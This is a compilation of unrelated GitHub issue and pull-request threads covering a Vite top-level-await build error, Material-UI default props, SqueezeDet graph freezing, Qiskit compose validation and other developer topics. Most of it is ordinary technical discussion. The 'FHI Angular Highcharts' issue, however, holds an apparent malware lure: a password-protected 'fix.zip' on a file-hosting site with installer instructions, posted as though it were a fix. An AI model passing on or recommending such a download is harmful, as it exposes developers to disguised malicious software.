vite3 build project in nginx ,the google chrome debug report  TypeError: Assignment to constant variable.

Describe the bug
vite3 build project in nginx ,the google chrome debug report  TypeError: Assignment to constant variable. but viewing the  ts file or source code is not supported
regeneratorRuntime.js:20
   TypeError: Assignment to constant variable.
at G (regeneratorRuntime.js:20:14)
at sortable.esm.js:7:1
at callWithErrorHandling (regeneratorRuntime.js:20:14)
at callWithAsyncErrorHandling (regeneratorRuntime.js:20:14)
at ReactiveEffect.ee [as fn] (regeneratorRuntime.js:20:14)
at ReactiveEffect.run (reactivity.esm-bundler.js:728:17)
at doWatch (regeneratorRuntime.js:20:14)
at watchEffect (regeneratorRuntime.js:20:14)
at sortable.esm.js:7:1
at sortable.esm.js:7:1

Reproduction
our private net
Steps to reproduce
pnpm run build
"build": "cross-env NODE_ENV=production NODE_OPTIONS=--max-old-space-size=8192 vite build && esno ./build/script/postBuild.ts",
System Info
win10 google107.0.5304.107

Used Package Manager
pnpm
Logs
TypeError: Assignment to constant variable.
at G (regeneratorRuntime.js:20:14)
at sortable.esm.js:7:1
at callWithErrorHandling (regeneratorRuntime.js:20:14)
at callWithAsyncErrorHandling (regeneratorRuntime.js:20:14)
at ReactiveEffect.ee [as fn] (regeneratorRuntime.js:20:14)
at ReactiveEffect.run (reactivity.esm-bundler.js:728:17)
at doWatch (regeneratorRuntime.js:20:14)
at watchEffect (regeneratorRuntime.js:20:14)
at sortable.esm.js:7:1
at sortable.esm.js:7:1
logError @ regeneratorRuntime.js:20
handleError$1 @ regeneratorRuntime.js:20
callWithErrorHandling @ regeneratorRuntime.js:20
callWithAsyncErrorHandling @ regeneratorRuntime.js:20
ee @ regeneratorRuntime.js:20
run @ reactivity.esm-bundler.js:728
doWatch @ regeneratorRuntime.js:20
watchEffect @ regeneratorRuntime.js:20
（匿名） @ sortable.esm.js:7
（匿名） @ sortable.esm.js:7
regeneratorRuntime.js:20 Uncaught (in promise) TypeError: Assignment to constant variable.
at G (regeneratorRuntime.js:20:14)
at sortable.esm.js:7:1
at sortable.esm.js:7:1
G @ regeneratorRuntime.js:20
（匿名） @ sortable.esm.js:7
（匿名） @ sortable.esm.js:7
Validations

[X] Follow our Code of Conduct
[X] Read the Contributing Guidelines.
[X] Read the docs.
[X] Check that there isn't already an issue that reports the same bug to avoid creating a duplicate.
[X] Make sure this is a Vite issue and not a framework-specific issue. For example, if it's a Vue SFC related bug, it should likely be reported to vuejs/core instead.
[X] Check that this is a concrete bug. For Q&A open a GitHub Discussion or join our Discord Chat Server.
[X] The provided reproduction is a minimal reproducible example of the bug.

in my project  ,i use import topLevelAwait from 'vite-plugin-top-level-await'  to let  Top-level await  be used;
Outside
it will cause the above problems.

source here:

import topLevelAwait from 'vite-plugin-top-level-await'
topLevelAwait({
The export name of top-level await promise for each chunk module
promiseExportName: '__tla',
//  The function to generate import names of top-level await promise in each chunk module
promiseImportName: i => __tla_${i}
})

It will be fine when I delete it.

in my project  ,i use import topLevelAwait from 'vite-plugin-top-level-await'  to let  Top-level await  be used;
Outside
it will cause the above problems.

source here:

import topLevelAwait from 'vite-plugin-top-level-await'
topLevelAwait({
The export name of top-level await promise for each chunk module
promiseExportName: '__tla',
//  The function to generate import names of top-level await promise in each chunk module
promiseImportName: i => __tla_${i}
})

It will be fine when I delete it.


Document which component names can be used with theme.props

[x] The issue is present in the latest release.
[x] I have searched the issues of this repository and believe that this is not a duplicate.

I understand how to use theme.props, but I do not see any clear indication of which component names to use. The docs on Customization/Theming/Globals/Default props gives this example:

I am confused, because as indicated by the ButtonBase API docs, the component name is not MuiButtonBase, but ButtonBase (import ButtonBase from '@material-ui/core/ButtonBase'). The only mention of MuiButtonBase is the component's style sheet name (which is not present for all components, see #17244, so I doubt this is what's referred to in the screenshot above).
Is it perhaps the case that "component name" in theme.props is the API docs component name prefixed by Mui, for all components? If so, can this be clearly stated somewhere?

I think that we should document under the ## Props header the capability to change the default props. Mentioning the correct key will help.

That would be great! 👍

I believe we could go with an approach similar to:
diff --git a/docs/src/modules/utils/generateMarkdown.js b/docs/src/modules/utils/generateMarkdown.js
index 841df2331..faf7ec21f 100644
--- a/docs/src/modules/utils/generateMarkdown.js
+++ b/docs/src/modules/utils/generateMarkdown.js
@@ -244,6 +244,13 @@ function getProp(props, key) {
   }
 }

+function generateName(reactAPI) {
+  return `## Component name
+
+The \`${reactAPI.styles.name}\` name can be used for providing [default props](/customization/globals/#default-props) or [style overrides](/customization/globals/#css) at the theme level.
+`
+}
+
 function generateProps(reactAPI) {
   const header = '## Props';

@@ -355,9 +362,6 @@ function generateClasses(reactAPI) {

   return `## CSS

-- Style sheet name: \`${reactAPI.styles.name}\`.
-- Style sheet details:
-
 ${text}

 You can override the style of the component thanks to one of these customization points:
@@ -458,6 +462,8 @@ export default function generateMarkdown(reactAPI) {
     '',
     reactAPI.description,
     '',
+    generateName(reactAPI),
+    '',
     generateProps(reactAPI),
     '',
     `${generateClasses(reactAPI)}${generateInheritance(reactAPI)}${generateDemos(reactAPI)}`,

@oliviertassinari
actually, I was very easily able to figure this part out
thankfully the documentation has links to source code
however, what is still puzzling for me (I love this feature, btw)
is how to make the default prop values of own components to also be configurable like this
I don't think that part is documented at all

how to make the default prop values of own components to also be configurable like this

@thealjey For your own components, you can use this module
import { getThemeProps } from '@material-ui/styles';


perf($Pydantic): sync infrastructure with python_boilerplate

Major Changes:

perf($Pydantic): sync infrastructure with python_boilerplate
feat($demo): create PySimpleGUI demo
feat($EventBus): integrate event bus to handle UI events
feat($PyInstaller): package PySimpleGUI app with PyInstaller

Reviewed. ✅


hyperctl run -t  stuck

$ sudo hyperctl run -t busybox sh
{}

When trying to run container with tty, it stucks. Non-tty mode and exec with tty is fine.

This is a feature, this is not a bug.

@gnawux So run with tty is not supported anymore?  Why we still leave this flag here

Let me check again

@Crazykev What did you do exactly?
For me ,
-> sudo ./hyperctl run -t busybox /bin/sh
/ # ls
bin   dev   etc   home  lib   proc  root  sys   tmp   usr   var
/ # exit
->

The only thing not like before is (this is what I said "feature"):
-> sudo ./hyperctl list
POD ID               POD Name             VM name             Status
busybox-8525184801   busybox-8525184801   vm-hLwLLokFZp       running
->

i.e. Pod is still running although the container has already exited.

@gnawux I repeated exactly what I did (just start a hyperd and did what is above), everything is normal now.
So sorry, I can't reproduce it anymore. It's wired to me because operation is simple enough and this doesn't seem due to a config issue.
Anyway, I'm gonna close this, if there is a change to meet it again, will dig deeper.


BUG - MySqlQueueDAO::pollMessages always fails

The method pollMessages of the MySQLQueueDAO always fails with an Exception.
Looking at the Implementation https://github.com/Netflix/conductor/blob/master/mysql-persistence/src/main/java/com/netflix/conductor/dao/mysql/MySQLQueueDAO.java#L72 the method first calls pop() which calls popMessages() which marks all messages returned as popped. The following readMessages() call will try to find messages with the given ids but not marked as popped which finally fails.
The only use case for this broken method is currently in the DynoQueue implementation.

@marc-christian-schulze #417 should have fixed this.  Closing this, but please reopen if the issue still exists.  Will create an RC or you can use the latest snapshot to verify the changes.


Remove python dev dependencies from the image

The production image size has decreased from 933MB to 811MB.
Fix: #272
Signed-off-by: Maxim Sukharev<EMAIL_ADDRESS>

[x] I have updated the CHANGELOG file according to the conventions in keepachangelog.com
[ ] This PR contains changes that do not require a mention in the CHANGELOG file

CI is failing, I'm not sure why. Investigating...

CI is failing, I'm not sure why. Investigating...

Most probably it's because you need to modify tox.ini to include installation of extra deps in each tox env. No need to install them in travis step.

Yeah. I figured it too. Thanks.

rebased to solve conflicts on changelog


grammer correction

@swatantra : Thanks for your contribution! The author(s) have been notified to review your proposed change.

@ktoliver : Thanks for your contribution! The author(s) have been notified to review your proposed change.


Make PreviewHandlerHost instead of PreviewHandlerControl inherit from…

… Form
Related to https://github.com/dwmkerr/sharpshell/pull/169

Since PreviewHandlerHost is internal make that inherit from Form instead.
Looks like having PreviewHandlerControl inherit from Form creates a problem if someone wants to use User32.GetParent(Handle) in a class that inherits from PreviewHandlerControl, as it returns zero.

@dwmkerr any thoughts on this?

LGTM! Merging now

https://github.com/dwmkerr/sharpshell/releases/tag/v2.3.2
Released as v2.3.2 and available on Nuget, thanks @gpetrou!


FHI Angular Highcharts: Enable chart type line with multiple series even if flagged data

Description
Currently it's not possible to show a line diagram with multiple series i one or more series contains flagged data. This should be allowed.
Acceptance Criteria
No response
Additional information

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."


L2 Not Good for scVI vs MarkerMap

The L2 distance to evaluate reconstructions in evaluate_reconstruction.py is not a good comparison between scVI and MarkerMap because scVI works with counts and MarkerMap works with scaled and log-transformed data. Directly comparing the average l2 distance between original data and reconstruction won't work between these two methods.

PR https://github.com/Computational-Morphogenomics-Group/MarkerMap/pull/35 should have fixed this.


Save Model with Batch Size = 1 for production

Dear all,
I am facing a problem when I try to save a model to disk with batch size = 1 and then freeze into a .pb. I am doing this in four steps:

I am able to train squeezeDet Plus with my custom dataset. For training I use a batch size of 20. The resulting trained model.ckpt is 60MB and the model.meta is 19.9MB in size.
When I evaluate this model with eval.py, I re-create the graph with Batch size = 1 (as in the demo), and the python script works fine. I correctly get the bounding boxes for each image.
Now I would like to save this graph with batch size = 1 to disk. However, when I try to save this graph using batch size = 1 as a checkpoint, the size of the model.ckpt is reduced to 30 MB and the size of the model.meta to 233 KB
Then, when I try to freeze the files in 3) I get the error "tensorflow.python.framework.errors.FailedPreconditionError: Attempting to use uninitialized value" (the script for freezing the graph works fine with the .ckpt and .meta files in point 1).

I realize that there is something wrong in the way I am saving the data in step 3, the graph and weights are not saved properly, but I cannot figure out what. Am I missing something very obvious here?
This is the minimum code (adapted from eval.py) that I am using to load the graph and the weights and save them with bath size of 1 (point 3)
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import cv2
import os.path
import numpy as np
import tensorflow as tf
from config import *
from nets import *

FLAGS = tf.app.flags.FLAGS

tf.app.flags.DEFINE_string('dataset', 'KITTI',
                           """Currently support PASCAL_VOC or KITTI dataset.""")
tf.app.flags.DEFINE_string('data_path', '', """Root directory of data""")
tf.app.flags.DEFINE_string('image_set', 'test',
                           """Only used for VOC data."""
                           """Can be train, trainval, val, or test""")
tf.app.flags.DEFINE_string('year', '2007',
                            """VOC challenge year. 2007 or 2012"""
                            """Only used for VOC data""")
tf.app.flags.DEFINE_string('eval_dir', '/tmp/bichen/logs/squeezeDet/eval',
                            """Directory where to write event logs """)
tf.app.flags.DEFINE_string('checkpoint_path', '/tmp/bichen/logs/squeezeDet/train',
                            """Path to the training checkpoint.""")
tf.app.flags.DEFINE_integer('eval_interval_secs', 60 * 1,
                             """How often to check if new cpt is saved.""")
tf.app.flags.DEFINE_boolean('run_once', False,
                             """Whether to run eval only once.""")
tf.app.flags.DEFINE_string('net', 'squeezeDet',
                           """Neural net architecture.""")
tf.app.flags.DEFINE_string('gpu', '0', """gpu id.""")

def main(argv=None):

  """Load weights from a pre-trained squeezeDet network trained with Batch > 1
  and save the model with batch = 1 for production"""

  with tf.Graph().as_default():

    mc = kitti_squeezeDetPlus_config()
    mc.BATCH_SIZE = 1
    mc.LOAD_PRETRAINED_MODEL = False
    model = SqueezeDetPlus(mc, FLAGS.gpu)

    saver = tf.train.Saver(model.model_params)

    with tf.Session(config=tf.ConfigProto(allow_soft_placement=True)) as sess:

        # Restores from checkpoint
        ckpts = set()
        ckpt = tf.train.get_checkpoint_state(FLAGS.checkpoint_path)
        ckpts.add(ckpt.model_checkpoint_path)
        print ('Loading {}...'.format(ckpt.model_checkpoint_path))
        saver.restore(sess, ckpt.model_checkpoint_path)

        sess.run(tf.initialize_all_variables())

        # Run one image to test that it works
        read_full_name = "/data/squeezeDet_TF011/src/test2.jpg"
        im = cv2.imread(read_full_name)
        im = im.astype(np.float32, copy=False)
        im = cv2.resize(im, (mc.IMAGE_WIDTH, mc.IMAGE_HEIGHT))
        input_image = im - mc.BGR_MEANS

        # Detect
        det_boxes, det_probs, det_class = sess.run(
            [model.det_boxes, model.det_probs, model.det_class],
            feed_dict={model.image_input: [input_image], model.keep_prob: 1.0})  # works fine

        # Save to disk
        checkpoint_path = os.path.join("/data/squeezeDet_TF011/logs/test_freeze", 'evalBatch1.ckpt')
        step = 1
        saver.save(sess, checkpoint_path, global_step=step)

if __name__ == '__main__':
    tf.app.run()

Thanks a lot
Cheers

In the end I solved this by changing the way I was saving the model to disk.
with tf.Graph().as_default():

    mc = kitti_squeezeDetPlus_config()
    mc.BATCH_SIZE = 1
    mc.LOAD_PRETRAINED_MODEL = False
    model = SqueezeDetPlus(mc, FLAGS.gpu)

    saver = tf.train.Saver(model.model_params, reshape=True)

    graph = tf.get_default_graph()
    input_graph_def = graph.as_graph_def()
    output_node_names = "bbox/trimming/bbox,probability/class_idx,probability/score"

    with tf.Session(config=tf.ConfigProto(allow_soft_placement=True)) as sess:

        init = tf.initialize_all_variables()
        sess.run(init)
        tf.train.start_queue_runners(sess=sess)

        # Restores from checkpoint
        ckpts = set()
        ckpt = tf.train.get_checkpoint_state(FLAGS.checkpoint_path)
        ckpts.add(ckpt.model_checkpoint_path)
        print ('Loading {}...'.format(ckpt.model_checkpoint_path))
        saver.restore(sess, ckpt.model_checkpoint_path)

         # Use a built-in TF helper to export variables to constants
        output_graph_def = graph_util.convert_variables_to_constants(sess,
            input_graph_def,  output_node_names.split(",")  )

        # Serialize and dump the output graph to the filesystem
        output_graph = "/data/squeezeDet_TF011/logs/test_freeze/test.pb"
        with tf.gfile.GFile(output_graph, "wb") as f:
            f.write(output_graph_def.SerializeToString())
        print(("%d ops in the final graph." % len(output_graph_def.node)))

Can you offer some advice for getting SqueezeDet to work with your dataset?
Did you just change make your labels in KITTI format and change the number of classes in config?

Yes, that's all you need to train your own dataset
Cheers

Thank you. Do you know if changing the image width and height will work? I see the parameters in the config file. I am hoping to work with very large images.

Yes, it works perfectly well with other image resolutions. You just need to adjust the parameters for the anchors appropriately

It seems one would need to make changes to the eval tool (the KITTI-eval tool in dataset/kitti-eval/cpp/evaluate_object.cpp) to handle new detection classes.
Was this necessary for you? Were you able to evaluate accuracy on your custom dataset?
Thanks again

No, I do not remember making any modifications to "evaluate_object.cpp". And, yes, I am able to evaluate accuracy on my custom dataset. We did modified the list of classes in the configuration files inside "config" folder

Thanks. Do you know how to resume training with a model.ckpt file? Or model.ckpt.data file? I tried putting this in pretrained_model_path but it doesn't work. It looks like it wants a .pkl file.

Your question is too broad and off topic. There are several tutorials online that show how to do what you are asking. I recommend that you follow them and if you still have difficulties after that, then post a minimal example with a concrete error so that other people can help you.

OK. I just didn't know if you were able to stop and resume training using this tool and model.ckpt files.
Did you get this to work with SqueezeDet+ on your own data? It seems the rule for grid spacing as 1/16 of image width, height doesn't work there.

I am trying to do inference with the exported .pb and I am getting the following error
`Caused by op u'fire7/expand3x3/kernels/read', defined at:
File "inference.py", line 103, in
tf.app.run(main=Inference())
File "inference.py", line 28, in init
self.get_results(FLAGS.input_image)
File "inference.py", line 55, in get_results
model = SqueezeDet(mc, FLAGS.gpu)
File "/home/ubuntu/squeezeDet/src/nets/squeezeDet.py", line 24, in init
self._add_forward_graph()
File "/home/ubuntu/squeezeDet/src/nets/squeezeDet.py", line 63, in _add_forward_graph
'fire7', fire6, s1x1=48, e1x1=192, e3x3=192, freeze=False)
File "/home/ubuntu/squeezeDet/src/nets/squeezeDet.py", line 104, in _fire_layer
padding='SAME', stddev=stddev, freeze=freeze)
File "/home/ubuntu/squeezeDet/src/nn_skeleton.py", line 533, in _conv_layer
wd=mc.WEIGHT_DECAY, initializer=kernel_init, trainable=(not freeze))
File "/home/ubuntu/squeezeDet/src/nn_skeleton.py", line 66, in _variable_with_weight_decay
var = _variable_on_device(name, shape, initializer, trainable)
File "/home/ubuntu/squeezeDet/src/nn_skeleton.py", line 48, in _variable_on_device
name, shape, initializer=initializer, dtype=dtype, trainable=trainable)
File "/home/ubuntu/.conda/envs/py27sq/lib/python2.7/site-packages/tensorflow/python/ops/variable_scope.py", line 988, in get_variable
custom_getter=custom_getter)
File "/home/ubuntu/.conda/envs/py27sq/lib/python2.7/site-packages/tensorflow/python/ops/variable_scope.py", line 890, in get_variable
custom_getter=custom_getter)
File "/home/ubuntu/.conda/envs/py27sq/lib/python2.7/site-packages/tensorflow/python/ops/variable_scope.py", line 348, in get_variable
validate_shape=validate_shape)
File "/home/ubuntu/.conda/envs/py27sq/lib/python2.7/site-packages/tensorflow/python/ops/variable_scope.py", line 333, in _true_getter
caching_device=caching_device, validate_shape=validate_shape)
File "/home/ubuntu/.conda/envs/py27sq/lib/python2.7/site-packages/tensorflow/python/ops/variable_scope.py", line 684, in _get_single_variable
validate_shape=validate_shape)
File "/home/ubuntu/.conda/envs/py27sq/lib/python2.7/site-packages/tensorflow/python/ops/variables.py", line 226, in init
expected_shape=expected_shape)
File "/home/ubuntu/.conda/envs/py27sq/lib/python2.7/site-packages/tensorflow/python/ops/variables.py", line 344, in _init_from_args
self._snapshot = array_ops.identity(self._variable, name="read")
File "/home/ubuntu/.conda/envs/py27sq/lib/python2.7/site-packages/tensorflow/python/ops/gen_array_ops.py", line 1490, in identity
result = _op_def_lib.apply_op("Identity", input=input, name=name)
File "/home/ubuntu/.conda/envs/py27sq/lib/python2.7/site-packages/tensorflow/python/framework/op_def_library.py", line 763, in apply_op
op_def=op_def)
File "/home/ubuntu/.conda/envs/py27sq/lib/python2.7/site-packages/tensorflow/python/framework/ops.py", line 2395, in create_op
original_op=self._default_original_op, op_def=op_def)
File "/home/ubuntu/.conda/envs/py27sq/lib/python2.7/site-packages/tensorflow/python/framework/ops.py", line 1264, in init
self._traceback = _extract_stack()
FailedPreconditionError (see above for traceback): Attempting to use uninitialized value fire7/expand3x3/kernels
[[Node: fire7/expand3x3/kernels/read = IdentityT=DT_FLOAT, _class=["loc:@fire7/expand3x3/kernels"], _device="/job:localhost/replica:0/task:0/gpu:0"]]
[[Node: probability/score/_7 = _Recvclient_terminated=false, recv_device="/job:localhost/replica:0/task:0/cpu:0", send_device="/job:localhost/replica:0/task:0/gpu:0", send_device_incarnation=1, tensor_name="edge_534_probability/score", tensor_type=DT_FLOAT, _device="/job:localhost/replica:0/task:0/cpu:0"]]`
I have exported my protobuf this way as instructed above
with tf.gfile.GFile(out_model, "wb") as f:     f.write(output_graph_def.SerializeToString())

@Lisandro79 @mistiansen after you export to a pb whats the input (for image) and output nodes ?
I am using this
det_boxes, det_probs, det_class = sess.run(
                ["import_5/bbox/trimming/bbox:0", "import_5/probability/score:0", "import_5/probability/class_idx:0"],
                feed_dict={"import_5/batch/fifo_queue:0": [input_image]})

I am getting an error
TypeError: Cannot interpret feed_dict key as Tensor: The name 'import_5/batch/fifo_queue:0' refers to a Tensor which does not exist. The operation, 'import_5/batch/fifo_queue', does not exist in the graph.

Hi @venuktan,
I think you have the wrong name of the input layer. Here are some snippets of code of what we used. The input layer is caller "Image_Input:0"
 # Test with one image
IMAGE_WIDTH = 720
IMAGE_HEIGHT = 405
BGR_MEANS = np.array([[[103.939, 116.779, 123.68]]])
im_name = './test/test3.jpg'
im = cv2.imread(im_name)

im = im.astype(np.float32, copy=False)
im = cv2.resize(im, (IMAGE_WIDTH, IMAGE_HEIGHT))
input_image = im - BGR_MEANS

cv2.imshow("Image", im)
cv2.imwrite('test.jpg', im.astype(np.int16, copy=False))
cv2.destroyAllWindows()

x = graph.get_tensor_by_name('image_input:0')
bboxes = graph.get_tensor_by_name('bbox/trimming/bbox:0')
scores = graph.get_tensor_by_name('probability/score:0')
clss = graph.get_tensor_by_name('probability/class_idx:0')
keep_prob = graph.get_tensor_by_name('keep_prob:0')

# We launch a Session
with tf.Session(graph=graph) as sess:
        det_probs = sess.run(scores, {'image_input:0': [im], 'keep_prob:0': 0.5})
        print det_probs

# Unpersists graph from file
with tf.gfile.FastGFile(args.frozen_model_filename, 'rb') as f:
        graph_def = tf.GraphDef()
        graph_def.ParseFromString(f.read())
        _ = tf.import_graph_def(graph_def, name='')

with tf.Session() as sess:
        x = sess.graph.get_tensor_by_name('image_input:0')
        bboxes = sess.graph.get_tensor_by_name('bbox/trimming/bbox:0')
        scores = sess.graph.get_tensor_by_name('probability/score:0')
        clss = sess.graph.get_tensor_by_name('probability/class_idx:0')
        keep_prob = sess.graph.get_tensor_by_name('keep_prob:0')

        det_probs = sess.run(scores, {'image_input:0': [input_image], 'keep_prob:0': 0.5})
        det_boxes, det_probs, det_class = sess.run([bboxes, scores, clss],
            feed_dict={x: [input_image], keep_prob: 1.0})
        print det_probs

Hope this helps

Hi @mistiansen
If you have the correct numbers for the anchors it should work. What do you mean by "It seems the rule for grid spacing as 1/16 of image width, height doesn't work there"?
You should post a minimal code example with an error so that everybody can understand your problem. It is very difficult to understand the problem from your message.
Cheers

@Lisandro79 thanks for your work on this. May I ask how you decided on
["bbox/trimming/bbox:0",
"probability/score:0",
"probability/class_idx:0"]

as the output nodes? These are from the interpretation_graph, and I am trying to understand the difference between this and the forward_graph

I did not "decide" anything, those are the names of the output nodes in the graph.
If you want to check the difference between the graphs, why don't you visualize those graphs and compare the nodes?
Also, @BichenWuUCB provides useful info about this in #73. We did optimization for inference and removed dropout (this step is necessary if you want to run SqueezeDet on some mobile devices)
After freezing for production the speed of inference on a Titan X is ~0.017s for images of 720x400 pixels, which is excellent for our task (great job @BichenWuUCB).

Thank you, you answered my question. I just wanted to clarify, as stated in #73, which ops and subgraphs were needed for inference.
Thank you and @BichenWuUCB for your helpful responses and great work!

We did optimization for inference and removed dropout (this step is necessary if you want to run SqueezeDet on some mobile devices)

@Lisandro79 @BichenWuUCB Can I ask why dropout needs to be removed? Isn't the dropout layer trivial during inference?

Because the operation is not linked by makefile bazel when you compile for
mobile. You could link the operation manually and pass 1 as keep_prob and
it would work.
On Sun, 1 Apr 2018 at 12:11 AM, hoonkai<EMAIL_ADDRESS>wrote:

We did optimization for inference and removed dropout (this step is
necessary if you want to run SqueezeDet on some mobile devices)
@Lisandro79 https://github.com/Lisandro79 @BichenWuUCB
https://github.com/BichenWuUCB Can I ask why dropout needs to be
removed? Isn't the dropout layer trivial during inference?
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how to freeze the graph

Yes, it works perfectly well with other image resolutions. You just need to adjust the parameters for the anchors appropriately

@Lisandro79 How did you set anchors parameters for your custom dataset?

Hi
When I load the original model.ckpt-8700, I check the node name in the graph, it has "image_input".
Then I double check it again after I use the below code, the "image_input" node disappear.
output_graph_def = graph_util.convert_variables_to_constants(sess,              input_graph_def,  output_node_names.split(",")  )
But the "batch/fifo_queue" node #mentioned by @venuktan venuktan exists.
The issue should be located in the below code：
`self.image_input, self.input_mask, self.box_delta_input, \
    self.box_input, self.labels = tf.train.batch(

        self.FIFOQueue.dequeue(), batch_size=mc.BATCH_SIZE,

        capacity=mc.QUEUE_CAPACITY) `

Any one know why?

Hi all
When I load the original model.ckpt-8700, I check the node name in the graph, it has "image_input".
Then I double check it again after I use the below code, the "image_input" node disappear.
output_graph_def = graph_util.convert_variables_to_constants(sess,              input_graph_def,  output_node_names.split(",")  )
But the "batch/fifo_queue" node mentioned by @venuktan venuktan exists.
The issue should be located in the below code：
self.image_input, self.input_mask, self.box_delta_input, \         self.box_input, self.labels = tf.train.batch(             self.FIFOQueue.dequeue(), batch_size=mc.BATCH_SIZE,             capacity=mc.QUEUE_CAPACITY)
Any one know why?

In the end I solved this by changing the way I was saving the model to disk.
with tf.Graph().as_default():

    mc = kitti_squeezeDetPlus_config()
    mc.BATCH_SIZE = 1
    mc.LOAD_PRETRAINED_MODEL = False
    model = SqueezeDetPlus(mc, FLAGS.gpu)

    saver = tf.train.Saver(model.model_params, reshape=True)

    graph = tf.get_default_graph()
    input_graph_def = graph.as_graph_def()
    output_node_names = "bbox/trimming/bbox,probability/class_idx,probability/score"

    with tf.Session(config=tf.ConfigProto(allow_soft_placement=True)) as sess:

        init = tf.initialize_all_variables()
        sess.run(init)
        tf.train.start_queue_runners(sess=sess)

        # Restores from checkpoint
        ckpts = set()
        ckpt = tf.train.get_checkpoint_state(FLAGS.checkpoint_path)
        ckpts.add(ckpt.model_checkpoint_path)
        print ('Loading {}...'.format(ckpt.model_checkpoint_path))
        saver.restore(sess, ckpt.model_checkpoint_path)

         # Use a built-in TF helper to export variables to constants
        output_graph_def = graph_util.convert_variables_to_constants(sess,
            input_graph_def,  output_node_names.split(",")  )

        # Serialize and dump the output graph to the filesystem
        output_graph = "/data/squeezeDet_TF011/logs/test_freeze/test.pb"
        with tf.gfile.GFile(output_graph, "wb") as f:
            f.write(output_graph_def.SerializeToString())
        print(("%d ops in the final graph." % len(output_graph_def.node)))

@Lisandro79 when I visualize the graph of .pb file using netron, the input node is disappear. ony has queueDequeuemanyV2 or batch node before conv1/convolution node. How to include the input_node?. thanks


Incorrect type hint

https://github.com/tuya/tuya-iot-python-sdk/blob/83f1e999d75ef87b2170ffbbb239ca8651dab0c3/tuya_iot/openapi.py#L230
It should be dict[str, Any] | None because there is a return None statement below.

Honestly, that should not return None, it should raise an exception instead.

It's weird to me that this framework rarely raises any exceptions, but it silently consumes all types of exceptions and rely on side effects to log errors instead.


Update fr_qwertz.xml

Hello, I don't know anything about AnySoftKeyboard maintenance and extension but as a thankful French-speaking user of your Swiss keyboard pack, I wanted to improve and fix the Swiss-French variant by adding some letters.
I don't know (yet) how to add missing accents on letters that are on rows not visible in this XML file, so this is just a first incomplete proposal.
For example, the "ç" character would be missing as android:popupCharacter for android:keylabel ="c".
Please don't hesitate to contact me, this is a first attempt to contact you with some initial proposal to help improve the Swiss-French keyboard, I am willing to give it a more complete shot.
And thank you for already making a Swiss-French keyboard available, even incomplete.

Please don't hesitate to contact me. I will gladly cooperate with you to make the Swiss-French keyboard perfect.

Thanks for the hint. I’ve just merged your code and uploaded a new version (1.5.6) to the play store. It could take some time (even day’s) until the update is live.
Please test this as soon as the update is live and give me a feedback if everything works as expected.

Thanks a lot, cool! This is my first ever usage of github and my first
activity more or less related to Android development, so I am glad it made
it through.
As said in my previous email, this is only a partial update as I wanted
first to touch base and see if it improves anything at all.
Other characters need improvement but they belong to other rows, which
means the corresponding base characters needs to exist in the .xml first;
it didn't seem to be the case in the french version, and I didn't want to
mess everything up by just taking the characters definition from the
schwyzerdütsch version and edit them from there - maybe some other file
needs to be edited accordingly...
Anyway I will gladly test it as soon as it is available on Play Store.
Also, have you considered publishing it on F-Droid as well? I don't
remember finding it there, yet there are a lot of AnySoftKeyboard resources
on F-Droid. My 2 cents - it would be nice to have everything in one place.
Thanks for your time, best regards,
Sébastien
Le ven. 11 mars 2022 à 13:09, TheNetStriker @.***> a
écrit :

Thanks for the hint. I’ve just merged your code and uploaded a new version
(1.5.6) to the play store. It could take some time (even day’s) until the
update is live.
Please test this as soon as the update is live and give me a feedback if
everything works as expected.
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QuantumCircuit.compose does not raise an error with invalid qubits argument

Information

Qiskit Terra version: master @ b1c9a23
Python version: 3.7.1
Operating system: osx

What is the current behavior?
QuantumCircuit.compose runs normally if qubits argument has duplicate values. If you try to compose two circuits after converting to dag, DAGCircuit.compose raises an error. Introduced after #4762 .
Steps to reproduce the problem
n = 3
qc = QuantumCircuit(n)
qc.h(range(n))

m = 2
circ = QuantumCircuit(m)
circ.z(range(m))
circ.cx(0, 1)

new_circuit = qc.compose(circ, qubits=[1, 1])
print(new_circuit)

     ┌───┐
q_0: ┤ H ├──────────
     ├───┤┌───┐┌───┐
q_1: ┤ H ├┤ Z ├┤ Z ├
     ├───┤└───┘└───┘
q_2: ┤ H ├──────────
     └───┘

But
dag_qc   = circuit_to_dag(qc)
dag_circ = circuit_to_dag(circ)

dag = dag_qc.compose(dag_circ,
                     qubits=[1, 1], inplace=False)

raises DAGCircuitError

What is the expected behavior?
As duplicate values in qubits is not a valid input, QuantumCircuit.compose should raise an error.
Suggested solutions
Similar to DAGCircuit.compose
        # Check the edge_map for duplicate values
        if len(set(edge_map.values())) != len(edge_map):
              raise CircuitError("duplicates in wire_map")

I'm a little hesitant to adding checks in the compose method because it might slow down the usage and this use-case is obviously a wrong input, so that users won't be surprised if it doesn't work. But if the DAGCircuitError is too cryptic, we could improve it there? This would not give us additional overhead when users use compose correctly but would still give a proper error message.

Update for Santa:elf:- QGoGP
✅ Error reproducible! Has the same 'duplicates in wire map' DAGCircuitError raised as mentioned by OP
from qiskit.converters import circuit_to_dag
from qiskit import QuantumCircuit

n = 3
qc = QuantumCircuit(n)
qc.h(range(n))

m = 2
circ = QuantumCircuit(m)
circ.z(range(m))
circ.cx(0, 1)

new_circuit = qc.compose(circ, qubits=[1, 1])
print(new_circuit)
dag_qc   = circuit_to_dag(qc)
dag_circ = circuit_to_dag(circ)

dag = dag_qc.compose(dag_circ,
                     qubits=[1, 1], inplace=False)

Screenshot

Will update comment/add more comments if cause is found/fixed!

Python version 3.9.7
qiskit-terra version: 0.19.1


Composite filters

I have added a CompositeImageFilter protocol and adapted multi-pass filters to conform to this new protocol.
Note:
There is one issue with testThatScaledToSizeWithRoundedCornersFilterReturnsCorrectFilteredImage and testThatAspectScaledToFillSizeWithRoundedCornersFilterReturnsCorrectFilteredImage tests. Previous version of the tests multi-pass filters used to multiply the corner radius with the input image's scale. This is something that cannot be done with composite filters, except if RoundedCornersFilter automatically uses the image scale in its filter closure (image.af_imageWithRoundedCornerRadius(self.radius * image.scale)). I tried this, but in that case, testThatRoundedCornersFilterReturnsCorrectFilteredImage test does not pass.
Do you have any idea about how to solve this issue?

This looks really good @damienrambout.
I've made a few code corrections while still giving you attribution. I still need to fix the scaling issue you're running into. It needs to be fixed in the af_imageWithRoundedCornerRadius method. Once I get that fixed and get all the tests passing, I'll get this all pushed up. I should have this wrapped up by tomorrow night.

Hey @damienrambout,
I just opened #10 which should complete all this work. If you could look over the PR for me just to make sure I didn't miss anything I'd really appreciate it.
